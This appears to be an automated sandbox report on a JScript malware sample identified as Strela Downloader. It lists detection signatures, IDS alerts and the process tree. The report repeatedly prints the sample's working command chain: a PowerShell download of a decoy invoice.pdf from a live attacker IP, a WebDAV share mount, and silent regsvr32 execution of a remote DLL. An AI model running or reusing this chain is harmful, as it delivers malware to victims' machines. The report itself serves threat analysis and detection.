Edit tour

Windows Analysis Report
168423236840504572.js

Overview

General Information

Sample name:	168423236840504572.js
Analysis ID:	1588550
MD5:	a1681d9e4a218a6a82f0aa757b1774d7
SHA1:	a500240c4a03e4b14ab59c9015ebc61014826afe
SHA256:	85aead81c4d3b6b1fba2555618e2082ddabc53a7c0a6b74846aade372c066249
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8184 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7384 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7624 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5884 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,11989586508930940256,8516604209193487676,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6112 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5756 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8184	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7624, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7624, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ProcessId: 8184, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5756, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49742

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ProcessId: 8184, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7624, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5756, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7340, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5756, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 7384, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:18:19.156804+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49726	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:18:21.379722+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49742	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:18:19.156804+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49726	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 168423236840504572.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 168423236840504572.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 168423236840504572.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49742 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49726 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:18:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

